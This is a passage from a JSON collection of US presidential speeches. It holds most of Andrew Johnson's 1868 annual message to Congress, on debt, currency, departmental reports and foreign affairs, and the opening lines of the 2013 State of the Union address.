carefully\nto avoid the dangers which threaten a free and independent people.Various plans have been proposed for the payment of the public debt.\nHowever they may have varied as to the time and mode in which it should\nbe redeemed, there seems to be a general concurrence as to the\npropriety and justness of a reduction in the present rate of interest.\nThe Secretary of the Treasury in his report recommends 5 per cent;\nCongress, in a bill passed prior to adjournment on the 27th of July\nlast, agreed upon 4 and 4 1/2 per cent; while by many 3 per cent has\nbeen held to be an amply sufficient return for the investment. The\ngeneral impression as to the exorbitancy of the existing rate of\ninterest has led to an inquiry in the public mind respecting the\nconsideration which the Government has actually received for its bonds,\nand the conclusion is becoming prevalent that the amount which it\nobtained was in real money three or four hundred per cent less than the\nobligations which it issued in return. It can not be denied that we are\npaying an extravagant percentage for the use of the money borrowed,\nwhich was paper currency, greatly depreciated below the value of coin.\nThis fact is made apparent when we consider that bondholders receive\nfrom the Treasury upon each dollar they own in Government securities 6\nper cent in gold, which is nearly or quite equal to 9 per cent in\ncurrency; that the bonds are then converted into capital for the\nnational banks, upon which those institutions issue their circulation,\nbearing 6 per cent interest; and that they are exempt from taxation by\nthe Government and the States, and thereby enhanced 2 per cent in the\nhands of the holders. We thus have an aggregate of 17 per cent which\nmay be received upon each dollar by the owners of Government\nsecurities. A system that produces such results is justly regarded as\nfavoring a few at the expense of the many, and has led to the further\ninquiry whether our bondholders, in view of the large profits which\nthey have enjoyed, would themselves be averse to a settlement of our\nindebtedness upon a plan which would yield them a fair remuneration and\nat the same time be just to the taxpayers of the nation. Our national\ncredit should be sacredly observed, but in making provision for our\ncreditors we should not forget what is due to the masses of the people.\nIt may be assumed that the holders of our securities have already\nreceived upon their bonds a larger amount than their original\ninvestment, measured by a gold standard. Upon this statement of facts\nit would seem but just and equitable that the 6 per cent interest now\npaid by the Government should be applied to the reduction of the\nprincipal in semiannual installments, which in sixteen years and eight\nmonths would liquidate the entire national debt. Six per cent in gold\nwould at present rates be equal to 9 per cent in currency, and\nequivalent to the payment of the debt one and a half times in a\nfraction less than seventeen years. This, in connection with all the\nother advantages derived from their investment, would afford to the\npublic creditors a fair and liberal compensation for the use of their\ncapital, and with this they should be satisfied. The lessons of the\npast admonish the lender that it is not well to be over-anxious in\nexacting from the borrower rigid compliance with the letter of the\nbond.If provision be made for the payment of the indebtedness of the\nGovernment in the manner suggested, our nation will rapidly recover its\nwonted prosperity. Its interests require that some measure should be\ntaken to release the large amount of capital invested in the securities\nof the Government. It is not now merely unproductive, but in taxation\nannually consumes $150,000,000, which would otherwise be used by our\nenterprising people in adding to the wealth of the nation. Our\ncommerce, which at one time successfully rivaled that of the great\nmaritime powers, has rapidly diminished, and our industrial interests\nare in a depressed and languishing condition. The development of our\ninexhaustible resources is checked, and the fertile fields of the South\nare becoming waste for want of means to till them. With the release of\ncapital, new life would be infused into the paralyzed energies of our\npeople and activity and vigor imparted to every branch of industry. Our\npeople need encouragement in their efforts to recover from the effects\nof the rebellion and of injudicious legislation, and it should be the\naim of the Government to stimulate them by the prospect of an early\nrelease from the burdens which impede their prosperity. If we can not\ntake the burdens from their shoulders, we should at least manifest a\nwillingness to help to bear them.In referring to the condition of the circulating medium, I shall merely\nreiterate substantially that portion of my last annual message which\nrelates to that subject.The proportion which the currency of any country should bear to the\nwhole value of the annual produce circulated by its means is a question\nupon which political economists have not agreed. Nor can it be\ncontrolled by legislation, but must be left to the irrevocable laws\nwhich everywhere regulate commerce and trade. The circulating medium\nwill ever irresistibly flow to those points where it is in greatest\ndemand. The law of demand and supply is as unerring as that which\nregulates the tides of the ocean; and, indeed, currency, like the\ntides, has its ebbs and flows throughout the commercial world.At the beginning of the rebellion the bank-note circulation of the\ncountry amounted to not much more than $200,000,000; now the\ncirculation of national-bank notes and those known as \"legal-tenders\"\nis nearly seven hundred millions. While it is urged by some that this\namount should be increased, others contend that a decided reduction is\nabsolutely essential to the best interests of the country. In view of\nthese diverse opinions, it may be well to ascertain the real value of\nour paper issues when compared with a metallic or convertible currency.\nFor this purpose let us inquire how much gold and silver could be\npurchased by the seven hundred millions of paper money now in\ncirculation. Probably not more than half the amount of the latter;\nshowing that when our paper currency is compared with gold and silver\nits commercial value is compressed into three hundred and fifty\nmillions. This striking fact makes it the obvious duty of the\nGovernment, as early as may be consistent with the principles of sound\npolitical economy, to take such measures as will enable the holders of\nits notes and those of the national banks to convert them, without\nloss, into specie or its equivalent. A reduction of our paper\ncirculating medium need not necessarily follow. This, however, would\ndepend upon the law of demand and supply, though it should be borne in\nmind that by making legal-tender and bank notes convertible into coin\nor its equivalent their present specie value in the hands of their\nholders would be enhanced 100 per cent.Legislation for the accomplishment of a result so desirable is demanded\nby the highest public considerations. The Constitution contemplates\nthat the circulating medium of the country shall be uniform in quality\nand value. At the time of the formation of that instrument the country\nhad just emerged from the War of the Revolution, and was suffering from\nthe effects of a redundant and worthless paper currency. The sages of\nthat period were anxious to protect their posterity from the evils\nwhich they themselves had experienced. Hence in providing a circulating\nmedium they conferred upon Congress the power to coin money and\nregulate the value thereof, at the same time prohibiting the States\nfrom making anything but gold and silver a tender in payment of debts.The anomalous condition of our currency is in striking contrast with\nthat which was originally designed. Our circulation now embraces,\nfirst, notes of the national banks, which are made receivable for all\ndues to the Government, excluding imposts, and by all its creditors,\nexcepting in payment of interest upon its bonds and the securities\nthemselves; second, legal tender, issued by the United States, and\nwhich the law requires shall be received as well in payment of all\ndebts between citizens as of all Government dues, excepting imposts;\nand, third, gold and silver coin. By the operation of our present\nsystem of finance however, the metallic currency, when collected, is\nreserved only for one class of Government creditors, who, holding its\nbonds, semiannually receive their interest in coin from the National\nTreasury. There is no reason which will be accepted as satisfactory by\nthe people why those who defend us on the land and protect us on the\nsea; the pensioner upon the gratitude of the nation, bearing the scars\nand wounds received while in its service; the public servants in the\nvarious departments of the Government; the farmer who supplies the\nsoldiers of the Army and the sailors of the Navy; the artisan who toils\nin the nation's workshops, or the mechanics and laborers who build its\nedifices and construct its forts and vessels of war, should, in payment\nof their just and hard-earned dues, receive depreciated paper, while\nanother class of their countrymen, no more deserving are paid in coin\nof gold and silver. Equal and exact justice requires that all the\ncreditors of the Government should be paid in a currency possessing a\nuniform value. This can only be accomplished by the restoration of the\ncurrency to the standard established by the Constitution, and by this\nmeans we would remove a discrimination which may, if it has not already\ndone so, create a prejudice that may become deep-rooted and widespread\nand imperil the national credit.The feasibility of making our currency correspond with the\nconstitutional standard may be seen by reference to a few facts derived\nfrom our commercial statistics.The aggregate product of precious metals in the United States from 1849\nto 1867 amounted to $1,174,000,000, while for the same period the net\nexports of specie were $741,000,000. This shows an excess of product\nover net exports of $433,000,000. There are in the Treasury\n$103,407,985 in coin; in circulation in the States on the Pacific Coast\nabout $40,000,000, and a few millions in the national and other\nbanks--in all less than $160,000,000. Taking into consideration the\nspecie in the country prior to 1849 and that produced since 1867, and\nwe have more than $300,000,000 not accounted for by exportation or by\nreturns of the Treasury, and therefore most probably remaining in the\ncountry.These are important facts, and show how completely the inferior\ncurrency will supersede the better, forcing it from circulation among\nthe masses and causing it to be exported as a mere article of trade, to\nadd to the money capital of foreign lands. They show the necessity of\nretiring our paper money, that the return of gold and silver to the\navenues of trade may be invited and a demand created which will cause\nthe retention at home of at least so much of the productions of our\nrich and inexhaustible gold-bearing fields as may be sufficient for\npurposes of circulation. It is unreasonable to expect a return to a\nsound currency so long as the Government and banks, by continuing to\nissue irredeemable notes, fill the channels of circulation with\ndepreciated paper. Notwithstanding a coinage by our mints since 1849 of\n$874,000,000, the people are now strangers to the currency which was\ndesigned for their use and benefit, and specimens of the precious\nmetals bearing the national device are seldom seen, except when\nproduced to gratify the interest excited by their novelty. If\ndepreciated paper is to be continued as the permanent currency of the\ncountry, and all our coin is to become a mere article of traffic and\nspeculation to the enhancement in price of all that is indispensable to\nthe comfort of the people, it would be wise economy to abolish our\nmints, thus saving the nation the care and expense incident to such\nestablishments, and let our precious metals be exported in bullion. The\ntime has come, however, when the Government and national banks should\nbe required to take the most efficient steps and make all necessary\narrangements for a resumption of specie payments. Let specie payments\nonce be earnestly inaugurated by the Government and banks, and the\nvalue of the paper circulation would directly approximate a specie\nstandard.Specie payments having been resumed by the Government and banks, all\nnotes or bills of paper issued by either of a less denomination than\n$20 should by law be excluded from circulation, so that the people may\nhave the benefit and convenience of a gold and silver currency which in\nall their business transactions will be uniform in value at home and\nabroad. Every man of property or industry, every man who desires to\npreserve what he honestly possesses or to obtain what he can honestly\nearn, has a direct interest in maintaining a safe circulating\nmedium--such a medium as shall be real and substantial, not liable to\nvibrate with opinions, not subject to be blown up or blown down by the\nbreath of speculation, but to be made stable and secure. A disordered\ncurrency is one of the greatest political evils. It undermines the\nvirtues necessary for the support of the social system and encourages\npropensities destructive of its happiness; it wars against industry,\nfrugality, and economy, and it fosters the evil spirits of extravagance\nand speculation. It has been asserted by one of our profound and most\ngifted statesmen that--Of all the contrivances for cheating the\nlaboring classes of mankind, none has been more effectual than that\nwhich deludes them with paper money. This is the most effectual of\ninventions to fertilize the rich man's fields by the sweat of the poor\nman's brow. Ordinary tyranny, oppression, excessive taxation--these\nbear lightly on the happiness of the mass of the community compared\nwith a fraudulent currency and the robberies committed by depreciated\npaper. Our own history has recorded for our instruction enough, and\nmore than enough, of the demoralizing tendency, the injustice, and the\nintolerable oppression on the virtuous and well-disposed of a degraded\npaper currency authorized by law or in any way countenanced by\ngovernment. It is one of the most successful devices, in times of peace\nor war, of expansions or revulsions, to accomplish the transfer of all\nthe precious metals from the great mass of the people into the hands of\nthe few, where they are hoarded in secret places or deposited under\nbolts and bars, while the people are left to endure all the\ninconvenience, sacrifice, and demoralization resulting from the use of\ndepreciated and worthless paper.The Secretary of the Interior in his report gives valuable information\nin reference to the interests confided to the supervision of his\nDepartment, and reviews the operations of the Land Office, Pension\nOffice, Patent Office, and Indian Bureau.During the fiscal year ending June 30. 1868, 6,655,700 acres of public\nland were disposed of. The entire cash receipts of the General Land\nOffice for the same period were $1,632,745, being greater by $284,883\nthan the amount realized from the same sources during the previous\nyear. The entries under the homestead law cover 2,328,923 acres, nearly\none-fourth of which was taken under the act of June 21, 1866, which\napplies only to the States of Alabama, Mississippi, Louisiana,\nArkansas, and Florida.On the 30th of June, 1868, 169,643 names were borne on the pension\nrolls, and during the year ending on that day the total amount paid for\npensions, including the expenses of disbursement, was $24,010,982,\nbeing $5,391,025 greater than that expended for like purposes during\nthe preceding year.During the year ending the 30th of September last the expenses of the\nPatent Office exceeded the receipts by $171, and, including reissues\nand designs, 14,153 patents were issued.Treaties with various Indian tribes have been concluded, and will be\nsubmitted to the Senate for its constitutional action. I cordially\nsanction the stipulations which provide for reserving lands for the\nvarious tribes, where they may be encouraged to abandon their nomadic\nhabits and engage in agricultural and industrial pursuits. This policy,\ninaugurated many years since, has met with signal success whenever it\nhas been pursued in good faith and with becoming liberality by the\nUnited States. The necessity for extending it as far as practicable in\nour relations with the aboriginal population is greater now than at any\npreceding period. Whilst we furnish subsistence and instruction to the\nIndians and guarantee the undisturbed enjoyment of their treaty rights,\nwe should habitually insist upon the faithful observance of their\nagreement to remain within their respective reservations. This is the\nonly mode by which collisions with other tribes and with the whites can\nbe avoided and the safety of our frontier settlements secured.The companies constructing the railway from Omaha to Sacramento have\nbeen most energetically engaged in prosecuting the work, and it is\nbelieved that the line will be completed before the expiration of the\nnext fiscal year. The 6 per cent bonds issued to these companies\namounted on the 5th instant to $44,337,000, and additional work had\nbeen performed to the extent of $3,200,000.The Secretary of the Interior in August last invited my attention to\nthe report of a Government director of the Union Pacific Railroad\nCompany who had been specially instructed to examine the location,\nconstruction, and equipment of their road. I submitted for the opinion\nof the Attorney-General certain questions in regard to the authority of\nthe Executive which arose upon this report and those which had from\ntime to time been presented by the commissioners appointed to inspect\neach successive section of the work. After carefully considering the\nlaw of the case, he affirmed the right of the Executive to order, if\nnecessary, a thorough revision of the entire road. Commissioners were\nthereupon appointed to examine this and other lines, and have recently\nsubmitted a statement of their investigations, of which the report of\nthe Secretary of the Interior furnishes specific information.The report of the Secretary of War contains information of interest and\nimportance respecting the several bureaus of the War Department and the\noperations of the Army. The strength of our military force on the 30th\nof September last was 48,000 men, and it is computed that by the 1st of\nJanuary next this number will be decreased to 43,000. It is the opinion\nof the Secretary of War that within the next year a considerable\ndiminution of the infantry force may be made without detriment to the\ninterests of the country; and in view of the great expense attending\nthe military peace establishment and the absolute necessity of\nretrenchment wherever it can be applied, it is hoped that Congress will\nsanction the reduction which his report recommends. While in 1860\nsixteen thousand three hundred men cost the nation $16,472,000, the sum\nof $65,682,000 is estimated as necessary for the support of the Army\nduring the fiscal year ending June 30, 1870. The estimates of the War\nDepartment for the last two fiscal years were, for 1867, $33,814,461,\nand for 1868 $25,205,669. The actual expenditures during the same\nperiods were, respectively, $95,224,415 and $123,246,648. The estimate\nsubmitted in December last for the fiscal year ending June 30, 1869,\nwas $77,124,707; the expenditures for the first quarter, ending the\n30th of September last, were $27,219,117, and the Secretary of the\nTreasury gives $66,000,000 as the amount which will probably be\nrequired during the remaining three quarters, if there should be no\nreduction of the Army--making its aggregate cost for the year\nconsiderably in excess of ninety-three millions. The difference between\nthe estimates and expenditures for the three fiscal years which have\nbeen named is thus shown to be $175,545,343 for this single branch of\nthe public service.The report of the Secretary of the Navy exhibits the operations of that\nDepartment and of the Navy during the year. A considerable reduction of\nthe force has been effected. There are 42 vessels, carrying 411 guns,\nin the six squadrons which are established in different parts of the\nworld. Three of these vessels are returning to the United States and 4\nare used as storeships, leaving the actual cruising force 35 vessels,\ncarrying 356 guns. The total number of vessels in the Navy is 206,\nmounting 1,743 guns. Eighty-one vessels of every description are in\nuse, armed with 696 guns. The number of enlisted men in the service,\nincluding apprentices, has been reduced to 8,500. An increase of\nnavy-yard facilities is recommended as a measure which will in the\nevent of war be promotive of economy and security. A more thorough and\nsystematic survey of the North Pacific Ocean is advised in view of our\nrecent acquisitions, our expanding commerce, and the increasing\nintercourse between the Pacific States and Asia. The naval pension\nfund, which consists of a moiety of the avails of prizes captured\nduring the war, amounts to $14,000,000. Exception is taken to the act\nof 23d July last, which reduces the interest on the fund loaned to the\nGovernment by the Secretary, as trustee, to 3 per cent instead of 6 per\ncent, which was originally stipulated when the investment was made. An\namendment of the pension laws is suggested to remedy omissions and\ndefects in existing enactments. The expenditures of the Department\nduring the last fiscal year were $20,120,394, and the estimates for the\ncoming year amount to $20,993,414.The Postmaster-General's report furnishes a full and clear exhibit of\nthe operations and condition of the postal service. The ordinary postal\nrevenue for the fiscal year ending June 30, 1868. was $16,292,600, and\nthe total expenditures, embracing all the service for which special\nappropriations have been made by Congress, amounted to $22,730,592,\nshowing an excess of expenditures of $6,437,991. Deducting from the\nexpenditures the sum of $1,896,525, the amount of appropriations for\nocean-steamship and other special service, the excess of expenditures\nwas $4,541,466. By using an unexpended balance in the Treasury of\n$3,800,000 the actual sum for which a special appropriation is required\nto meet the deficiency is $741,466. The causes which produced this\nlarge excess of expenditure over revenue were the restoration of\nservice in the late insurgent States and the putting into operation of\nnew service established by acts of Congress, which amounted within the\nlast two years and a half to about 48,700 miles--equal to more than\none-third of the whole amount of the service at the close of the war.\nNew postal conventions with Great Britain, North Germany, Belgium, the\nNetherlands, Switzerland, and Italy, respectively, have been carried\ninto effect. Under their provisions important improvements have\nresulted in reduced rates of international postage and enlarged mail\nfacilities with European countries. The cost of the United States\ntransatlantic ocean mail service since January 1, 1868, has been\nlargely lessened under the operation of these new conventions, a\nreduction of over one-half having been effected under the new\narrangements for ocean mail steamship service which went into effect on\nthat date. The attention of Congress is invited to the practical\nsuggestions and recommendations made in his report by the\nPostmaster-General.No important question has occurred during the last year in our\naccustomed cordial and friendly intercourse with Costa Rica, Guatemala,\nHonduras, San Salvador, France, Austria, Belgium, Switzerland,\nPortugal, the Netherlands, Denmark, Sweden and Norway, Rome, Greece,\nTurkey, Persia, Egypt, Liberia, Morocco, Tripoli, Tunis, Muscat, Siam,\nBorneo, and Madagascar.Cordial relations have also been maintained with the Argentine and the\nOriental Republics. The expressed wish of Congress that our national\ngood offices might be tendered to those Republics, and also to Brazil\nand Paraguay, for bringing to an end the calamitous war which has so\nlong been raging in the valley of the La Plata, has been assiduously\ncomplied with and kindly acknowledged by all the belligerents. That\nimportant negotiation, however, has thus far been without result.Charles A. Washburn, late United States minister to Paraguay, having\nresigned, and being desirous to return to the United States, the\nrear-admiral commanding the South Atlantic Squadron was early directed\nto send a ship of war to Asuncion, the capital of Paraguay, to receive\nMr. Washburn and his family and remove them from a situation which was\nrepresented to be endangered by faction and foreign war. The Brazilian\ncommander of the allied invading forces refused permission to the Wasp\nto pass through the blockading forces, and that vessel returned to its\naccustomed anchorage. Remonstrance having been made against this\nrefusal, it was promptly overruled, and the Wasp therefore resumed her\nerrand, received Mr. Washburn and his family, and conveyed them to a\nsafe and convenient seaport. In the meantime an excited controversy had\narisen between the President of Paraguay and the late United States\nminister, which, it is understood, grew out of his proceedings in\ngiving asylum in the United States legation to alleged enemies of that\nRepublic. The question of the right to give asylum is one always\ndifficult and often productive of great embarrassment. In states well\norganized and established, foreign powers refuse either to concede or\nexercise that right, except as to persons actually belonging to the\ndiplomatic service. On the other hand, all such powers insist upon\nexercising the right of asylum in states where the law of nations is\nnot fully acknowledged, respected, and obeyed.The President of Paraguay is understood to have opposed to Mr.\nWashburn's proceedings the injurious and very improbable charge of\npersonal complicity in insurrection and treason. The correspondence,\nhowever, has not yet reached the United States.Mr. Washburn, in connection with this controversy, represents that two\nUnited States citizens attached to the legation were arbitrarily seized\nat his side, when leaving the capital of Paraguay, committed to prison,\nand there subjected to torture for the purpose of procuring confessions\nof their own criminality and testimony to support the President's\nallegation against the United States minister. Mr. McMahon, the newly\nappointed minister to Paraguay, having reached the La Plata, has been\ninstructed to proceed without delay to Asuncion, there to investigate\nthe whole subject. The rear-admiral commanding the United States South\nAtlantic Squadron has been directed to attend the new minister with a\nproper naval force to sustain such just demands as the occasion may\nrequire, and to vindicate the rights of the United States citizens\nreferred to and of any others who may be exposed to danger in the\ntheater of war. With these exceptions, friendly relations have been\nmaintained between the United States and Brazil and Paraguay.Our relations during the past year with Bolivia, Ecuador, Peru, and\nChile have become especially friendly and cordial. Spain and the\nRepublics of Peru, Bolivia, and Ecuador have expressed their\nwillingness to accept the mediation of the United States for\nterminating the war upon the South Pacific coast. Chile has not finally\ndeclared upon the question. In the meantime the conflict has\npractically exhausted itself, since no belligerent or hostile movement\nhas been made by either party during the last two years, and there are\nno indications of a present purpose to resume hostilities on either\nside. Great Britain and France have cordially seconded our proposition\nof mediation, and I do not forego the hope that it may soon be accepted\nby all the belligerents and lead to a secure establishment of peace and\nfriendly relations between the Spanish American Republics of the\nPacific and Spain--a result which would be attended with common\nbenefits to the belligerents and much advantage to all commercial\nnations. I communicate, for the consideration of Congress, a\ncorrespondence which shows that the Bolivian Republic has established\nthe extremely liberal principle of receiving into its citizenship any\ncitizen of the United States, or of any other of the American\nRepublics, upon the simple condition of voluntary registry.The correspondence herewith submitted will be found painfully replete\nwith accounts of the ruin and wretchedness produced by recent\nearthquakes, of unparalleled severity, in the Republics of Peru,\nEcuador, and Bolivia. The diplomatic agents and naval officers of the\nUnited States who were present in those countries at the time of those\ndisasters furnished all the relief in their power to the sufferers, and\nwere promptly rewarded with grateful and touching acknowledgments by\nthe Congress of Peru. An appeal to the charity of our fellow-citizens\nhas been answered by much liberality. In this connection I submit an\nappeal which has been made by the Swiss Republic, whose Government and\ninstitutions are kindred to our own, in behalf of its inhabitants, who\nare suffering extreme destitution, produced by recent devastating\ninundations.Our relations with Mexico during the year have been marked by an\nincreasing growth of mutual confidence. The Mexican Government has not\nyet acted upon the three treaties celebrated here last summer for\nestablishing the rights of naturalized citizens upon a liberal and just\nbasis, for regulating consular powers, and for the adjustment of mutual\nclaims.All commercial nations, as well as all friends of republican\ninstitutions, have occasion to regret the frequent local disturbances\nwhich occur in some of the constituent States of Colombia. Nothing has\noccurred, however, to affect the harmony and cordial friendship which\nhave for several years existed between that youthful and vigorous\nRepublic and our own.Negotiations are pending with a view to the survey and construction of\na ship canal across the Isthmus of Darien, under the auspices of the\nUnited States. I hope to be able to submit the results of that\nnegotiation to the Senate during its present session.The very liberal treaty which was entered into last year by the United\nStates and Nicaragua has been ratified by the latter Republic.Costa Rica, with the earnestness of a sincerely friendly neighbor,\nsolicits a reciprocity of trade, which I commend to the consideration\nof Congress.The convention created by treaty between the United States and\nVenezuela in July, 1865, for the mutual adjustment of claims, has been\nheld, and its decisions have been received at the Department of State.\nThe heretofore-recognized Government of the United States of Venezuela\nhas been subverted. A provisional government having been instituted\nunder circumstances which promise durability, it has been formally\nrecognized.I have been reluctantly obliged to ask explanation and satisfaction for\nnational injuries committed by the President of Hayti. The political\nand social condition of the Republics of Hayti and St. Domingo is very\nunsatisfactory and painful. The abolition of slavery, which has been\ncarried into effect throughout the island of St. Domingo and the entire\nWest Indies, except the Spanish islands of Cuba and Porto Rico, has\nbeen followed by a profound popular conviction of the rightfulness of\nrepublican institutions and an intense desire to secure them. The\nattempt, however, to establish republics there encounters many\nobstacles, most of which may be supposed to result from long-indulged\nhabits of colonial supineness and dependence upon European monarchical\npowers. While the United States have on all occasions professed a\ndecided unwillingness that any part of this continent or of its\nadjacent islands shall be made a theater for a new establishment of\nmonarchical power, too little has been done by us, on the other hand,\nto attach the communities by which we are surrounded to our own\ncountry, or to lend even a moral support to the efforts they are so\nresolutely and so constantly making to secure republican institutions\nfor themselves. It is indeed a question of grave consideration whether\nour recent and present example is not calculated to check the growth\nand expansion of free principles, and make those communities distrust,\nif not dread, a government which at will consigns to military\ndomination States that are integral parts of our Federal Union, and,\nwhile ready to resist any attempts by other nations to extend to this\nhemisphere the monarchical institutions of Europe, assumes to establish\nover a large portion of its people a rule more absolute, harsh, and\ntyrannical than any known to civilized powers.The acquisition of Alaska was made with the view of extending national\njurisdiction and republican principles in the American hemisphere.\nBelieving that a further step could be taken in the same direction, I\nlast year entered into a treaty with the King of Denmark for the\npurchase of the islands of St. Thomas and St. John, on the best terms\nthen attainable, and with the express consent of the people of those\nislands. This treaty still remains under consideration in the Senate. A\nnew convention has been entered into with Denmark, enlarging the time\nfixed for final ratification of the original treaty.Comprehensive national policy would seem to sanction the acquisition\nand incorporation into our Federal Union of the several adjacent\ncontinental and insular communities as speedily as it can be done\npeacefully, lawfully, and without any violation of national justice,\nfaith, or honor. Foreign possession or control of those communities has\nhitherto hindered the growth and impaired the influence of the United\nStates. Chronic revolution and anarchy there would be equally\ninjurious. Each one of them, when firmly established as an independent\nrepublic, or when incorporated into the United States, would be a new\nsource of strength and power. Conforming my Administration to these\nprinciples, I have or no occasion lent support or toleration to\nunlawful expeditions set on foot upon the plea of republican\npropagandism or of national extension or aggrandizement. The necessity,\nhowever, of repressing such unlawful movements clearly indicates the\nduty which rests upon us of adapting our legislative action to the new\ncircumstances of a decline of European monarchical power and influence\nand the increase of American republican ideas, interests, and\nsympathies.It can not be long before it will become necessary for this Government\nto lend some effective aid to the solution of the political and social\nproblems which are continually kept before the world by the two\nRepublics of the island of St. Domingo, and which are now disclosing\nthemselves more distinctly than heretofore in the island of Cuba. The\nsubject is commended to your consideration with all the more\nearnestness because I am satisfied that the time has arrived when even\nso direct a proceeding as a proposition for an annexation of the two\nRepublics of the island of St. Domingo would not only receive the\nconsent of the people interested, but would also give satisfaction to\nall other foreign nations.I am aware that upon the question of further extending our possessions\nit is apprehended by some that our political system can not\nsuccessfully be applied to an area more extended than our continent;\nbut the conviction is rapidly gaining ground in the American mind that\nwith the increased facilities for intercommunication between all\nportions of the earth the principles of free government, as embraced in\nour Constitution, if faithfully maintained and carried out, would prove\nof sufficient strength and breadth to comprehend within their sphere\nand influence the civilized nations of the world.The attention of the Senate and of Congress is again respectfully\ninvited to the treaty for the establishment of commercial reciprocity\nwith the Hawaiian Kingdom entered into last year, and already ratified\nby that Government. The attitude of the United States toward these\nislands is not very different from that in which they stand toward the\nWest Indies. It is known and felt by the Hawaiian Government and people\nthat their Government and institutions are feeble and precarious; that\nthe United States, being so near a neighbor, would be unwilling to see\nthe islands pass under foreign control. Their prosperity is continually\ndisturbed by expectations and alarms of unfriendly political\nproceedings, as well from the United States as from other foreign\npowers. A reciprocity treaty, while it could not materially diminish\nthe revenues of the United States, would be a guaranty of the good will\nand forbearance of all nations until the people of the islands shall of\nthemselves, at no distant day, voluntarily apply for admission into the\nUnion.The Emperor of Russia has acceded to the treaty negotiated here in\nJanuary last for the security of trade-marks in the interest of\nmanufacturers and commerce. I have invited his attention to the\nimportance of establishing, now while it seems easy and practicable, a\nfair and equal regulation of the vast fisheries belonging to the two\nnations in the waters of the North Pacific Ocean.The two treaties between the United States and Italy for the regulation\nof consular powers and the extradition of criminals, negotiated and\nratified here during the last session of Congress, have been accepted\nand confirmed by the Italian Government. A liberal consular convention\nwhich has been negotiated with Belgium will be submitted to the Senate.\nThe very important treaties which were negotiated between the United\nStates and North Germany and Bavaria for the regulation of the rights\nof naturalized citizens have been duly ratified and exchanged, and\nsimilar treaties have been entered into with the Kingdoms of Belgium\nand Wurtemberg and with the Grand Duchies of Baden and Hesse-Darmstadt.\nI hope soon to be able to submit equally satisfactory conventions of\nthe same character now in the course of negotiation with the respective\nGovernments of Spain, Italy, and the Ottoman Empire.Examination of claims against the United States by the Hudsons Bay\nCompany and the Puget Sound Agricultural Company, on account of certain\npossessory rights in the State of Oregon and Territory of Washington,\nalleged by those companies in virtue of provisions of the treaty\nbetween the United States and Great Britain of June 15, 1846, has been\ndiligently prosecuted, under the direction of the joint international\ncommission to which they were submitted for adjudication by treaty\nbetween the two Governments of July 1, 1863, and will, it is expected,\nbe concluded at an early day.No practical regulation concerning colonial trade and the fisheries can\nbe accomplished by treaty between the United States and Great Britain\nuntil Congress shall have expressed their judgment concerning the\nprinciples involved. Three other questions, however, between the United\nStates and Great Britain remain open for adjustment. These are the\nmutual rights of naturalized citizens, the boundary question involving\nthe title to the island of San Juan, on the Pacific coast, and mutual\nclaims arising since the year 1853 of the citizens and subjects of the\ntwo countries for injuries and depredations committed under the\nauthority of their respective Governments. Negotiations upon these\nsubjects are pending, and I am not without hope of being able to lay\nbefore the Senate, for its consideration during the present session,\nprotocols calculated to bring to an end these justly exciting and\nlong-existing controversies.We are not advised of the action of the Chinese Government upon the\nliberal and auspicious treaty which was recently celebrated with its\nplenipotentiaries at this capital.Japan remains a theater of civil war, marked by religious incidents and\npolitical severities peculiar to that long-isolated Empire. The\nExecutive has hitherto maintained strict neutrality among the\nbelligerents, and acknowledges with pleasure that it has been frankly\nand fully sustained in that course by the enlightened concurrence and\ncooperation of the other treaty powers, namely Great Britain, France,\nthe Netherlands, North Germany, and Italy.Spain having recently undergone a revolution marked by extraordinary\nunanimity and preservation of order, the provisional government\nestablished at Madrid has been recognized, and the friendly intercourse\nwhich has so long happily existed between the two countries remains\nunchanged.I renew the recommendation contained in my communication to Congress\ndated the 18th July last--a copy of which accompanies this message that\nthe judgment of the people should be taken on the propriety of so\namending the Federal Constitution that it shall provide--First. For an election of President and Vice-President by a direct vote\nof the people, instead of through the agency of electors, and making\nthem ineligible for reelection to a second term.Second. For a distinct designation of the person who shall discharge\nthe duties of President in the event of a vacancy in that office by the\ndeath, resignation, or removal of both the President and\nVice-President.Third. For the election of Senators of the United States directly by\nthe people of the several States, instead of by the legislatures; andFourth. For the limitation to a period of years of the terms of Federal\njudges.Profoundly impressed with the propriety of making these important\nmodifications in the Constitution, I respectfully submit them for the\nearly and mature consideration of Congress. We should, as far as\npossible, remove all pretext for violations of the organic law, by\nremedying such imperfections as time and experience may develop, ever\nremembering that \"the constitution which at any time exists until\nchanged by an explicit and authentic act of the whole people is\nsacredly obligatory upon all.\"In the performance of a duty imposed upon me by the Constitution, I\nhave thus communicated to Congress information of the state of the\nUnion and recommended for their consideration such measures as have\nseemed to me necessary and expedient. If carried into effect, they will\nhasten the accomplishment of the great and beneficent purposes for\nwhich the Constitution was ordained, and which it comprehensively\nstates were \"to form a more perfect Union, establish justice, insure\ndomestic tranquillity, provide for the common defense, promote the\ngeneral welfare, and secure the blessings of liberty to ourselves and\nour posterity.\" In Congress are vested all legislative powers, and upon\nthem devolves the responsibility as well for framing unwise and\nexcessive laws as for neglecting to devise and adopt measures\nabsolutely demanded by the wants of the country. Let us earnestly hope\nthat before the expiration of our respective terms of service, now\nrapidly drawing to a close, an all-wise Providence will so guide our\ncounsels as to strengthen and preserve the Federal Unions, inspire\nreverence for the Constitution, restore prosperity and happiness to our\nwhole people, and promote \"on earth peace, good will toward men.\"", 
+    "name": "Andrew Johnson"
+}
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+{
+    "date": "February 12, 2013", 
+    "speech": "Mr. Speaker, Mr. Vice President, Members of Congress, fellow citizens:Fifty-one years ago, John F. Kennedy declared to this Chamber that \"the\nConstitution makes us not rivals for power but partners for progress.\" \"It\nis my task,\" he said, \"to report the State of the Union -- to improve it\nis the task of us all.\"Tonight, thanks to the grit and determination of the American people,\nthere is much progress to report. After a decade of grinding war, our\nbrave men and women in uniform are coming home. After years of grueling\nrecession, our businesses have created over six million new jobs. We buy\nmore American cars than we have in five years, and less foreign oil than\nwe have in twenty. Our housing market is healing, our stock market is\nrebounding, and consumers, patients, and homeowners enjoy stronger\nprotections than ever before.Together, we have cleared away the rubble of crisis, and can say with\nrenewed confidence that the state of our union is stronger.But we gather here knowing that there are millions of Americans whose\nhard work and dedication have not yet been rewarded. Our economy is\nadding jobs -- but too many people still can't find full-time employment.\nCorporate profits have rocketed to all-time highs -- but for more than a\ndecade, wages and incomes have barely budged.It is our generation's task, then, to reignite the true engine of\nAmerica's economic growth -- a rising, thriving middle class.It is our unfinished task to restore the basic bargain that built this\ncountry -- the idea that if you work hard and meet your responsibilities,\nyou can get ahead, no matter where you come from, what you look like, or\nwho you love.It is our unfinished 